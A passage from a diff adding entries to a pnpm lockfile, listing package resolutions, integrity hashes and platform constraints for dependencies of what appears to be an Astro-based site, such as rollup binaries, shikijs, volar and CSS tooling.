sha512-vTNlKq+N6CK/8UktsrFuc+/7NlEYVxgaEgRXVUVK258Z5ymho29skzW1sutgYjqNnquGwVUObAaxae8rZ6YMhg==} + cpu: [arm] + os: [linux] + libc: [musl] + + '@rollup/rollup-linux-arm64-gnu@4.53.3': + resolution: {integrity: sha512-RGrFLWgMhSxRs/EWJMIFM1O5Mzuz3Xy3/mnxJp/5cVhZ2XoCAxJnmNsEyeMJtpK+wu0FJFWz+QF4mjCA7AUQ3w==} + cpu: [arm64] + os: [linux] + libc: [glibc] + + '@rollup/rollup-linux-arm64-musl@4.53.3': + resolution: {integrity: sha512-kASyvfBEWYPEwe0Qv4nfu6pNkITLTb32p4yTgzFCocHnJLAHs+9LjUu9ONIhvfT/5lv4YS5muBHyuV84epBo/A==} + cpu: [arm64] + os: [linux] + libc: [musl] + + '@rollup/rollup-linux-loong64-gnu@4.53.3': + resolution: {integrity: sha512-JiuKcp2teLJwQ7vkJ95EwESWkNRFJD7TQgYmCnrPtlu50b4XvT5MOmurWNrCj3IFdyjBQ5p9vnrX4JM6I8OE7g==} + cpu: [loong64] + os: [linux] + libc: [glibc] + + '@rollup/rollup-linux-ppc64-gnu@4.53.3': + resolution: {integrity: sha512-EoGSa8nd6d3T7zLuqdojxC20oBfNT8nexBbB/rkxgKj5T5vhpAQKKnD+h3UkoMuTyXkP5jTjK/ccNRmQrPNDuw==} + cpu: [ppc64] + os: [linux] + libc: [glibc] + + '@rollup/rollup-linux-riscv64-gnu@4.53.3': + resolution: {integrity: sha512-4s+Wped2IHXHPnAEbIB0YWBv7SDohqxobiiPA1FIWZpX+w9o2i4LezzH/NkFUl8LRci/8udci6cLq+jJQlh+0g==} + cpu: [riscv64] + os: [linux] + libc: [glibc] + + '@rollup/rollup-linux-riscv64-musl@4.53.3': + resolution: {integrity: sha512-68k2g7+0vs2u9CxDt5ktXTngsxOQkSEV/xBbwlqYcUrAVh6P9EgMZvFsnHy4SEiUl46Xf0IObWVbMvPrr2gw8A==} + cpu: [riscv64] + os: [linux] + libc: [musl] + + '@rollup/rollup-linux-s390x-gnu@4.53.3': + resolution: {integrity: sha512-VYsFMpULAz87ZW6BVYw3I6sWesGpsP9OPcyKe8ofdg9LHxSbRMd7zrVrr5xi/3kMZtpWL/wC+UIJWJYVX5uTKg==} + cpu: [s390x] + os: [linux] + libc: [glibc] + + '@rollup/rollup-linux-x64-gnu@4.53.3': + resolution: {integrity: sha512-3EhFi1FU6YL8HTUJZ51imGJWEX//ajQPfqWLI3BQq4TlvHy4X0MOr5q3D2Zof/ka0d5FNdPwZXm3Yyib/UEd+w==} + cpu: [x64] + os: [linux] + libc: [glibc] + + '@rollup/rollup-linux-x64-musl@4.53.3': + resolution: {integrity: sha512-eoROhjcc6HbZCJr+tvVT8X4fW3/5g/WkGvvmwz/88sDtSJzO7r/blvoBDgISDiCjDRZmHpwud7h+6Q9JxFwq1Q==} + cpu: [x64] + os: [linux] + libc: [musl] + + '@rollup/rollup-openharmony-arm64@4.53.3': + resolution: {integrity: sha512-OueLAWgrNSPGAdUdIjSWXw+u/02BRTcnfw9PN41D2vq/JSEPnJnVuBgw18VkN8wcd4fjUs+jFHVM4t9+kBSNLw==} + cpu: [arm64] + os: [openharmony] + + '@rollup/rollup-win32-arm64-msvc@4.53.3': + resolution: {integrity: sha512-GOFuKpsxR/whszbF/bzydebLiXIHSgsEUp6M0JI8dWvi+fFa1TD6YQa4aSZHtpmh2/uAlj/Dy+nmby3TJ3pkTw==} + cpu: [arm64] + os: [win32] + + '@rollup/rollup-win32-ia32-msvc@4.53.3': + resolution: {integrity: sha512-iah+THLcBJdpfZ1TstDFbKNznlzoxa8fmnFYK4V67HvmuNYkVdAywJSoteUszvBQ9/HqN2+9AZghbajMsFT+oA==} + cpu: [ia32] + os: [win32] + + '@rollup/rollup-win32-x64-gnu@4.53.3': + resolution: {integrity: sha512-J9QDiOIZlZLdcot5NXEepDkstocktoVjkaKUtqzgzpt2yWjGlbYiKyp05rWwk4nypbYUNoFAztEgixoLaSETkg==} + cpu: [x64] + os: [win32] + + '@rollup/rollup-win32-x64-msvc@4.53.3': + resolution: {integrity: sha512-UhTd8u31dXadv0MopwGgNOBpUVROFKWVQgAg5N1ESyCz8AuBcMqm4AuTjrwgQKGDfoFuz02EuMRHQIw/frmYKQ==} + cpu: [x64] + os: [win32] + + '@shikijs/core@3.19.0': + resolution: {integrity: sha512-L7SrRibU7ZoYi1/TrZsJOFAnnHyLTE1SwHG1yNWjZIVCqjOEmCSuK2ZO9thnRbJG6TOkPp+Z963JmpCNw5nzvA==} + + '@shikijs/engine-javascript@3.19.0': + resolution: {integrity: sha512-ZfWJNm2VMhKkQIKT9qXbs76RRcT0SF/CAvEz0+RkpUDAoDaCx0uFdCGzSRiD9gSlhm6AHkjdieOBJMaO2eC1rQ==} + + '@shikijs/engine-oniguruma@3.19.0': + resolution: {integrity: sha512-1hRxtYIJfJSZeM5ivbUXv9hcJP3PWRo5prG/V2sWwiubUKTa+7P62d2qxCW8jiVFX4pgRHhnHNp+qeR7Xl+6kg==} + + '@shikijs/langs@3.19.0': + resolution: {integrity: sha512-dBMFzzg1QiXqCVQ5ONc0z2ebyoi5BKz+MtfByLm0o5/nbUu3Iz8uaTCa5uzGiscQKm7lVShfZHU1+OG3t5hgwg==} + + '@shikijs/themes@3.19.0': + resolution: {integrity: sha512-H36qw+oh91Y0s6OlFfdSuQ0Ld+5CgB/VE6gNPK+Hk4VRbVG/XQgkjnt4KzfnnoO6tZPtKJKHPjwebOCfjd6F8A==} + + '@shikijs/types@3.19.0': + resolution: {integrity: sha512-Z2hdeEQlzuntf/BZpFG8a+Fsw9UVXdML7w0o3TgSXV3yNESGon+bs9ITkQb3Ki7zxoXOOu5oJWqZ2uto06V9iQ==} + + '@shikijs/vscode-textmate@10.0.2': + resolution: {integrity: sha512-83yeghZ2xxin3Nj8z1NMd/NCuca+gsYXswywDy5bHvwlWL8tpTQmzGeUuHd9FC3E/SBEMvzJRwWEOz5gGes9Qg==} + + '@shuding/opentype.js@1.4.0-beta.0': + resolution: {integrity: sha512-3NgmNyH3l/Hv6EvsWJbsvpcpUba6R8IREQ83nH83cyakCw7uM1arZKNfHwv1Wz6jgqrF/j4x5ELvR6PnK9nTcA==} + engines: {node: '>= 8.0.0'} + hasBin: true + + '@swc/helpers@0.5.17': + resolution: {integrity: sha512-5IKx/Y13RsYd+sauPb2x+U/xZikHjolzfuDgTAl/Tdf3Q8rslRvC19NKDLgAJQ6wsqADk10ntlv08nPFw/gO/A==} + + '@types/babel__core@7.20.5': + resolution: {integrity: sha512-qoQprZvz5wQFJwMDqeseRXWv3rqMvhgpbXFfVyWhbx9X47POIA6i/+dXefEmZKoAgOaTdaIgNSMqMIU61yRyzA==} + + '@types/babel__generator@7.27.0': + resolution: {integrity: sha512-ufFd2Xi92OAVPYsy+P4n7/U7e68fex0+Ee8gSG9KX7eo084CWiQ4sdxktvdl0bOPupXtVJPY19zk6EwWqUQ8lg==} + + '@types/babel__template@7.4.4': + resolution: {integrity: sha512-h/NUaSyG5EyxBIp8YRxo4RMe2/qQgvyowRwVMzhYhBCONbW8PUsg4lkFMrhgZhUe5z3L3MiLDuvyJ/CaPa2A8A==} + + '@types/babel__traverse@7.28.0': + resolution: {integrity: sha512-8PvcXf70gTDZBgt9ptxJ8elBeBjcLOAcOtoO/mPJjtji1+CdGbHgm77om1GrsPxsiE+uXIpNSK64UYaIwQXd4Q==} + + '@types/debug@4.1.12': + resolution: {integrity: sha512-vIChWdVG3LG1SMxEvI/AK+FWJthlrqlTu7fbrlywTkkaONwk/UAGaULXRlf8vkzFBLVm0zkMdCquhL5aOjhXPQ==} + + '@types/estree-jsx@1.0.5': + resolution: {integrity: sha512-52CcUVNFyfb1A2ALocQw/Dd1BQFNmSdkuC3BkZ6iqhdMfQz7JWOFRuJFloOzjk+6WijU56m9oKXFAXc7o3Towg==} + + '@types/estree@1.0.8': + resolution: {integrity: sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w==} + + '@types/fontkit@2.0.8': + resolution: {integrity: sha512-wN+8bYxIpJf+5oZdrdtaX04qUuWHcKxcDEgRS9Qm9ZClSHjzEn13SxUC+5eRM+4yXIeTYk8mTzLAWGF64847ew==} + + '@types/hast@3.0.4': + resolution: {integrity: sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ==} + + '@types/mdast@4.0.4': + resolution: {integrity: sha512-kGaNbPh1k7AFzgpud/gMdvIm5xuECykRR+JnWKQno9TAXVa6WIVCGTPvYGekIDL4uwCZQSYbUxNBSb1aUo79oA==} + + '@types/mdx@2.0.13': + resolution: {integrity: sha512-+OWZQfAYyio6YkJb3HLxDrvnx6SWWDbC0zVPfBRzUk0/nqoDyf6dNxQi3eArPe8rJ473nobTMQ/8Zk+LxJ+Yuw==} + + '@types/ms@2.1.0': + resolution: {integrity: sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA==} + + '@types/nlcst@2.0.3': + resolution: {integrity: sha512-vSYNSDe6Ix3q+6Z7ri9lyWqgGhJTmzRjZRqyq15N0Z/1/UnVsno9G/N40NBijoYx2seFDIl0+B2mgAb9mezUCA==} + + '@types/node@17.0.45': + resolution: {integrity: sha512-w+tIMs3rq2afQdsPJlODhoUEKzFP1ayaoyl1CcnwtIlsVe7K7bA1NGm4s3PraqTLlXnbIN84zuBlxBWo1u9BLw==} + + '@types/node@24.10.2': + resolution: {integrity: sha512-WOhQTZ4G8xZ1tjJTvKOpyEVSGgOTvJAfDK3FNFgELyaTpzhdgHVHeqW8V+UJvzF5BT+/B54T/1S2K6gd9c7bbA==} + + '@types/react-dom@19.2.3': + resolution: {integrity: sha512-jp2L/eY6fn+KgVVQAOqYItbF0VY/YApe5Mz2F0aykSO8gx31bYCZyvSeYxCHKvzHG5eZjc+zyaS5BrBWya2+kQ==} + peerDependencies: + '@types/react': ^19.2.0 + + '@types/react@19.2.7': + resolution: {integrity: sha512-MWtvHrGZLFttgeEj28VXHxpmwYbor/ATPYbBfSFZEIRK0ecCFLl2Qo55z52Hss+UV9CRN7trSeq1zbgx7YDWWg==} + + '@types/sax@1.2.7': + resolution: {integrity: sha512-rO73L89PJxeYM3s3pPPjiPgVVcymqU490g0YO5n5By0k2Erzj6tay/4lr1CHAAU4JyOWd1rpQ8bCf6cZfHU96A==} + + '@types/unist@2.0.11': + resolution: {integrity: sha512-CmBKiL6NNo/OqgmMn95Fk9Whlp2mtvIv+KNpQKN2F4SjvrEesubTRWGYSg+BnWZOnlCaSTU1sMpsBOzgbYhnsA==} + + '@types/unist@3.0.3': + resolution: {integrity: sha512-ko/gIFJRv177XgZsZcBwnqJN5x/Gien8qNOn0D5bQU/zAzVf9Zt3BlcUiLqhV9y4ARk0GbT3tnUiPNgnTXzc/Q==} + + '@ungap/structured-clone@1.3.0': + resolution: {integrity: sha512-WmoN8qaIAo7WTYWbAZuG8PYEhn5fkz7dZrqTBZ7dtt//lL2Gwms1IcnQ5yHqjDfX8Ft5j4YzDM23f87zBfDe9g==} + + '@vitejs/plugin-react@4.7.0': + resolution: {integrity: sha512-gUu9hwfWvvEDBBmgtAowQCojwZmJ5mcLn3aufeCsitijs3+f2NsrPtlAWIR6OPiqljl96GVCUbLe0HyqIpVaoA==} + engines: {node: ^14.18.0 || >=16.0.0} + peerDependencies: + vite: ^4.2.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 + + '@volar/kit@2.4.27': + resolution: {integrity: sha512-ilZoQDMLzqmSsImJRWx4YiZ4FcvvPrPnFVmL6hSsIWB6Bn3qc7k88J9yP32dagrs5Y8EXIlvvD/mAFaiuEOACQ==} + peerDependencies: + typescript: '*' + + '@volar/language-core@2.4.27': + resolution: {integrity: sha512-DjmjBWZ4tJKxfNC1F6HyYERNHPYS7L7OPFyCrestykNdUZMFYzI9WTyvwPcaNaHlrEUwESHYsfEw3isInncZxQ==} + + '@volar/language-server@2.4.27': + resolution: {integrity: sha512-SymGNkErcHg8GjiG65iQN8sLkhqu1pwKhFySmxeBuYq5xFYagKBW36eiNITXQTdvT0tutI1GXcXdq/FdE/IyjA==} + + '@volar/language-service@2.4.27': + resolution: {integrity: sha512-SxKZ8yLhpWa7Y5e/RDxtNfm7j7xsXp/uf2urijXEffRNpPSmVdfzQrFFy5d7l8PNpZy+bHg+yakmqBPjQN+MOw==} + + '@volar/source-map@2.4.27': + resolution: {integrity: sha512-ynlcBReMgOZj2i6po+qVswtDUeeBRCTgDurjMGShbm8WYZgJ0PA4RmtebBJ0BCYol1qPv3GQF6jK7C9qoVc7lg==} + + '@volar/typescript@2.4.27': + resolution: {integrity: sha512-eWaYCcl/uAPInSK2Lze6IqVWaBu/itVqR5InXcHXFyles4zO++Mglt3oxdgj75BDcv1Knr9Y93nowS8U3wqhxg==} + + '@vscode/emmet-helper@2.11.0': + resolution: {integrity: sha512-QLxjQR3imPZPQltfbWRnHU6JecWTF1QSWhx3GAKQpslx7y3Dp6sIIXhKjiUJ/BR9FX8PVthjr9PD6pNwOJfAzw==} + + '@vscode/l10n@0.0.18': + resolution: {integrity: sha512-KYSIHVmslkaCDyw013pphY+d7x1qV8IZupYfeIfzNA+nsaWHbn5uPuQRvdRFsa9zFzGeudPuoGoZ1Op4jrJXIQ==} + + acorn-jsx@5.3.2: + resolution: {integrity: sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==} + peerDependencies: + acorn: ^6.0.0 || ^7.0.0 || ^8.0.0 + + acorn@8.15.0: + resolution: {integrity: sha512-NZyJarBfL7nWwIq+FDL6Zp/yHEhePMNnnJ0y3qfieCrmNvYct8uvtiV41UvlSe6apAfk0fY1FbWx+NwfmpvtTg==} + engines: {node: '>=0.4.0'} + hasBin: true + + ajv-draft-04@1.0.0: + resolution: {integrity: sha512-mv00Te6nmYbRp5DCwclxtt7yV/joXJPGS7nM+97GdxvuttCOfgI3K4U25zboyeX0O+myI8ERluxQe5wljMmVIw==} + peerDependencies: + ajv: ^8.5.0 + peerDependenciesMeta: + ajv: + optional: true + + ajv@8.17.1: + resolution: {integrity: sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g==} + + ansi-align@3.0.1: + resolution: {integrity: sha512-IOfwwBF5iczOjp/WeY4YxyjqAFMQoZufdQWDd19SEExbVLNXqvpzSJ/M7Za4/sCPmQ0+GRquoA7bGcINcxew6w==} + + ansi-regex@5.0.1: + resolution: {integrity: sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==} + engines: {node: '>=8'} + + ansi-regex@6.2.2: + resolution: {integrity: sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==} + engines: {node: '>=12'} + + ansi-styles@4.3.0: + resolution: {integrity: sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==} + engines: {node: '>=8'} + + ansi-styles@6.2.3: + resolution: {integrity: sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg==} + engines: {node: '>=12'} + + anymatch@3.1.3: + resolution: {integrity: sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==} + engines: {node: '>= 8'} + + arg@5.0.2: + resolution: {integrity: sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg==} + + argparse@2.0.1: + resolution: {integrity: sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==} + + aria-query@5.3.2: + resolution: {integrity: sha512-COROpnaoap1E2F000S62r6A60uHZnmlvomhfyT2DlTcrY1OrBKn2UhH7qn5wTC9zMvD0AY7csdPSNwKP+7WiQw==} + engines: {node: '>= 0.4'} + + array-iterate@2.0.1: + resolution: {integrity: sha512-I1jXZMjAgCMmxT4qxXfPXa6SthSoE8h6gkSI9BGGNv8mP8G/v0blc+qFnZu6K42vTOiuME596QaLO0TP3Lk0xg==} + + astring@1.9.0: + resolution: {integrity: sha512-LElXdjswlqjWrPpJFg1Fx4wpkOCxj1TDHlSV4PlaRxHGWko024xICaa97ZkMfs6DRKlCguiAI+rbXv5GWwXIkg==} + hasBin: true + + astro-expressive-code@0.41.5: + resolution: {integrity: sha512-6jfABbPO0fkRD1ROAPBQtJR2p7gjbmk/GjfblOpo5Z7F+gwhL7+s8bEhLz9GdW10yfbn+gJvwEf7f9Lu2clh2A==} + peerDependencies: + astro: ^4.0.0-beta || ^5.0.0-beta || ^3.3.0 + + astro@5.16.4: + resolution: {integrity: sha512-rgXI/8/tnO3Y9tfAaUyg/8beKhlIMltbiC8Q6jCoAfEidOyaue4KYKzbe0gJIb6qEdEaG3Kf3BY3EOSLkbWOLg==} + engines: {node: 18.20.8 || ^20.3.0 || >=22.0.0, npm: '>=9.6.5', pnpm: '>=7.1.0'} + hasBin: true + + axobject-query@4.1.0: + resolution: {integrity: sha512-qIj0G9wZbMGNLjLmg1PT6v2mE9AH2zlnADJD/2tC6E00hgmhUOfEB6greHPAfLRSufHqROIUTkw6E+M3lH0PTQ==} + engines: {node: '>= 0.4'} + + bail@2.0.2: + resolution: {integrity: sha512-0xO6mYd7JB2YesxDKplafRpsiOzPt9V02ddPCLbY1xYGPOX24NTyN50qnUxgCPcSoYMhKpAuBTjQoRZCAkUDRw==} + + base-64@1.0.0: + resolution: {integrity: sha512-kwDPIFCGx0NZHog36dj+tHiwP4QMzsZ3AgMViUBKI0+V5n4U0ufTCUMhnQ04diaRI8EX/QcPfql7zlhZ7j4zgg==} + + base64-js@0.0.8: + resolution: {integrity: sha512-3XSA2cR/h/73EzlXXdU6YNycmYI7+kicTxks4eJg2g39biHR84slg2+des+p7iHYhbRg/udIS4TD53WabcOUkw==} + engines: {node: '>= 0.4'} + + base64-js@1.5.1: + resolution: {integrity: sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==} + + baseline-browser-mapping@2.9.11: + resolution: {integrity: sha512-Sg0xJUNDU1sJNGdfGWhVHX0kkZ+HWcvmVymJbj6NSgZZmW/8S9Y2HQ5euytnIgakgxN6papOAWiwDo1ctFDcoQ==} + hasBin: true + + bcp-47-match@2.0.3: + resolution: {integrity: sha512-JtTezzbAibu8G0R9op9zb3vcWZd9JF6M0xOYGPn0fNCd7wOpRB1mU2mH9T8gaBGbAAyIIVgB2G7xG0GP98zMAQ==} + + boolbase@1.0.0: + resolution: {integrity: sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww==} + + boxen@8.0.1: + resolution: {integrity: sha512-F3PH5k5juxom4xktynS7MoFY+NUWH5LC4CnH11YB8NPew+HLpmBLCybSAEyb2F+4pRXhuhWqFesoQd6DAyc2hw==} + engines: {node: '>=18'} + + brotli@1.3.3: + resolution: {integrity: sha512-oTKjJdShmDuGW94SyyaoQvAjf30dZaHnjJ8uAF+u2/vGJkJbJPJAT1gDiOJP5v1Zb6f9KEyW/1HpuaWIXtGHPg==} + + browserslist@4.28.1: + resolution: {integrity: sha512-ZC5Bd0LgJXgwGqUknZY/vkUQ04r8NXnJZ3yYi4vDmSiZmC/pdSN0NbNRPxZpbtO4uAfDUAFffO8IZoM3Gj8IkA==} + engines: {node: ^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7} + hasBin: true + + camelcase@8.0.0: + resolution: {integrity: sha512-8WB3Jcas3swSvjIeA2yvCJ+Miyz5l1ZmB6HFb9R1317dt9LCQoswg/BGrmAmkWVEszSrrg4RwmO46qIm2OEnSA==} + engines: {node: '>=16'} + + camelize@1.0.1: + resolution: {integrity: sha512-dU+Tx2fsypxTgtLoE36npi3UqcjSSMNYfkqgmoEhtZrraP5VWq0K7FkWVTYa8eMPtnU/G2txVsfdCJTn9uzpuQ==} + + caniuse-lite@1.0.30001761: + resolution: {integrity: sha512-JF9ptu1vP2coz98+5051jZ4PwQgd2ni8A+gYSN7EA7dPKIMf0pDlSUxhdmVOaV3/fYK5uWBkgSXJaRLr4+3A6g==} + + ccount@2.0.1: + resolution: {integrity: sha512-eyrF0jiFpY+3drT6383f1qhkbGsLSifNAjA61IUjZjmLCWjItY6LB9ft9YhoDgwfmclB2zhu51Lc7+95b8NRAg==} + + chalk@5.6.2: + resolution: {integrity: sha512-7NzBL0rN6fMUW+f7A6Io4h40qQlG+xGmtMxfbnH/K7TAtt8JQWVQK+6g0UXKMeVJoyV5EkkNsErQ8pVD3bLHbA==} + engines: {node: ^12.17.0 || ^14.13 || >=16.0.0} + + character-entities-html4@2.1.0: + resolution: {integrity: sha512-1v7fgQRj6hnSwFpq1Eu0ynr/CDEw0rXo2B61qXrLNdHZmPKgb7fqS1a2JwF0rISo9q77jDI8VMEHoApn8qDoZA==} + + character-entities-legacy@3.0.0: + resolution: {integrity: sha512-RpPp0asT/6ufRm//AJVwpViZbGM/MkjQFxJccQRHmISF/22NBtsHqAWmL+/pmkPWoIUJdWyeVleTl1wydHATVQ==} + + character-entities@2.0.2: + resolution: {integrity: sha512-shx7oQ0Awen/BRIdkjkvz54PnEEI/EjwXDSIZp86/KKdbafHh1Df/RYGBhn4hbe2+uKC9FnT5UCEdyPz3ai9hQ==} + + character-reference-invalid@2.0.1: + resolution: {integrity: sha512-iBZ4F4wRbyORVsu0jPV7gXkOsGYjGHPmAyv+HiHG8gi5PtC9KI2j1+v8/tlibRvjoWX027ypmG/n0HtO5t7unw==} + + chokidar@4.0.3: + resolution: {integrity: sha512-Qgzu8kfBvo+cA4962jnP1KkS6Dop5NS6g7R5LFYJr4b8Ub94PPQXUksCw9PvXoeXPRRddRNC5C1JQUR2SMGtnA==} + engines: {node: '>= 14.16.0'} + + ci-info@4.3.1: + resolution: {integrity: sha512-Wdy2Igu8OcBpI2pZePZ5oWjPC38tmDVx5WKUXKwlLYkA0ozo85sLsLvkBbBn/sZaSCMFOGZJ14fvW9t5/d7kdA==} + engines: {node: '>=8'} + + cli-boxes@3.0.0: + resolution: {integrity: sha512-/lzGpEWL/8PfI0BmBOPRwp0c/wFNX1RdUML3jK/RcSBA9T8mZDdQpqYBKtCFTOfQbwPqWEOpjqW+Fnayc0969g==} + engines: {node: '>=10'} + + cliui@8.0.1: + resolution: {integrity: sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ==} + engines: {node: '>=12'} + + clone@2.1.2: + resolution: {integrity: sha512-3Pe/CF1Nn94hyhIYpjtiLhdCoEoz0DqQ+988E9gmeEdQZlojxnOb74wctFyuwWQHzqyf9X7C7MG8juUpqBJT8w==} + engines: {node: '>=0.8'} + + clsx@2.1.1: + resolution: {integrity: sha512-eYm0QWBtUrBWZWG0d386OGAw16Z995PiOVo2B7bjWSbHedGl5e0ZWaq65kOGgUSNesEIDkB9ISbTg/JK9dhCZA==} + engines: {node: '>=6'} + + collapse-white-space@2.1.0: + resolution: {integrity: sha512-loKTxY1zCOuG4j9f6EPnuyyYkf58RnhhWTvRoZEokgB+WbdXehfjFviyOVYkqzEWz1Q5kRiZdBYS5SwxbQYwzw==} + + color-convert@2.0.1: + resolution: {integrity: sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==} + engines: {node: '>=7.0.0'} + + color-name@1.1.4: + resolution: {integrity: sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==} + + comma-separated-tokens@2.0.3: + resolution: {integrity: sha512-Fu4hJdvzeylCfQPp9SGWidpzrMs7tTrlu6Vb8XGaRGck8QSNZJJp538Wrb60Lax4fPwR64ViY468OIUTbRlGZg==} + + commander@11.1.0: + resolution: {integrity: sha512-yPVavfyCcRhmorC7rWlkHn15b4wDVgVmBA7kV4QVBsF7kv/9TKJAbAXVTxvTnwP8HHKjRCJDClKbciiYS7p0DQ==} + engines: {node: '>=16'} + + common-ancestor-path@1.0.1: + resolution: {integrity: sha512-L3sHRo1pXXEqX8VU28kfgUY+YGsk09hPqZiZmLacNib6XNTCM8ubYeT7ryXQw8asB1sKgcU5lkB7ONug08aB8w==} + + convert-source-map@2.0.0: + resolution: {integrity: sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==} + + cookie-es@1.2.2: + resolution: {integrity: sha512-+W7VmiVINB+ywl1HGXJXmrqkOhpKrIiVZV6tQuV54ZyQC7MMuBt81Vc336GMLoHBq5hV/F9eXgt5Mnx0Rha5Fg==} + + cookie@1.1.1: + resolution: {integrity: sha512-ei8Aos7ja0weRpFzJnEA9UHJ/7XQmqglbRwnf2ATjcB9Wq874VKH9kfjjirM6UhU2/E5fFYadylyhFldcqSidQ==} + engines: {node: '>=18'} + + crossws@0.3.5: + resolution: {integrity: sha512-ojKiDvcmByhwa8YYqbQI/hg7MEU0NC03+pSdEq4ZUnZR9xXpwk7E43SMNGkn+JxJGPFtNvQ48+vV2p+P1ml5PA==} + + css-background-parser@0.1.0: + resolution: {integrity: sha512-2EZLisiZQ+7m4wwur/qiYJRniHX4K5Tc9w93MT3AS0WS1u5kaZ4FKXlOTBhOjc+CgEgPiGY+fX1yWD8UwpEqUA==} + + css-box-shadow@1.0.0-3: + resolution: {integrity: sha512-9jaqR6e7Ohds+aWwmhe6wILJ99xYQbfmK9QQB9CcMjDbTxPZjwEmUQpU91OG05Xgm8BahT5fW+svbsQGjS/zPg==} + + css-color-keywords@1.0.0: + resolution: {integrity: sha512-FyyrDHZKEjXDpNJYvVsV960FiqQyXc/LlYmsxl2BcdMb2WPx0OGRVgTg55rPSyLSNMqP52R9r8geSp7apN3Ofg==} + engines: {node: '>=4'} + + css-gradient-parser@0.0.17: + resolution: {integrity: sha512-w2Xy9UMMwlKtou0vlRnXvWglPAceXCTtcmVSo8ZBUvqCV5aXEFP/PC6d+I464810I9FT++UACwTD5511bmGPUg==} + engines: {node: '>=16'} + + css-select@5.2.2: + resolution: {integrity: sha512-TizTzUddG/xYLA3NXodFM0fSbNizXjOKhqiQQwvhlspadZokn1KDy0NZFS0wuEubIYAV5/c1/lAr0TaaFXEXzw==} + + css-selector-parser@3.3.0: + resolution: {integrity: sha512-Y2asgMGFqJKF4fq4xHDSlFYIkeVfRsm69lQC1q9kbEsH5XtnINTMrweLkjYMeaUgiXBy/uvKeO/a1JHTNnmB2g==} + + css-to-react-native@3.2.0: + resolution: {integrity: sha512-e8RKaLXMOFii+02mOlqwjbD00KSEKqblnpO9e++1aXS1fPQOpS1YoqdVHBqPjHNoxeF2mimzVqawm2KCbEdtHQ==} + + css-tree@2.2.1: + resolution: {integrity: sha512-OA0mILzGc1kCOCSJerOeqDxDQ4HOh+G8NbOJFOTgOCzpw7fCBubk0fEyxp8AgOL/jvLgYA/uV0cMbe43ElF1JA==} + engines: {node: ^10 || ^12.20.0 || ^14.13.0 || >=15.0.0, npm: '>=7.0.0'} + + css-tree@3.1.0: + resolution: {integrity: sha512-0eW44TGN5SQXU1mWSkKwFstI/22X2bG1nYzZTYMAWjylYURhse752YgbE4Cx46AC+bAvI+/dYTPRk1LqSUnu6w==} + engines: {node: ^10 || ^12.20.0 || ^14.13.0 || >=15.0.0} + + css-what@6.2.2: + resolution: {integrity: sha512-u/O3vwbptzhMs3L1fQE82ZSLHQQfto5gyZzwteVIEyeaY5Fc7R4dapF/BvRoSYFeqfBk4m0V1Vafq5Pjv25wvA==} + engines: {node: '>= 6'} + + cssesc@3.0.0: + resolution: {integrity: sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==} + engines: {node: '>=4'} + hasBin: true + + csso@5.0.5: + resolution: {integrity: sha512-0LrrStPOdJj+SPCCrGhzryycLjwcgUSHBtxNA8aIDxf0GLsRh1cKYhB00Gd1lDOS4yGH69+SNn13+TWbVHETFQ==} + engines: {node: ^10 || ^12.20.0 || ^14.13.0 || >=15.0.0, npm: '>=7.0.0'} + + csstype@3.2.3: + resolution: {integrity: 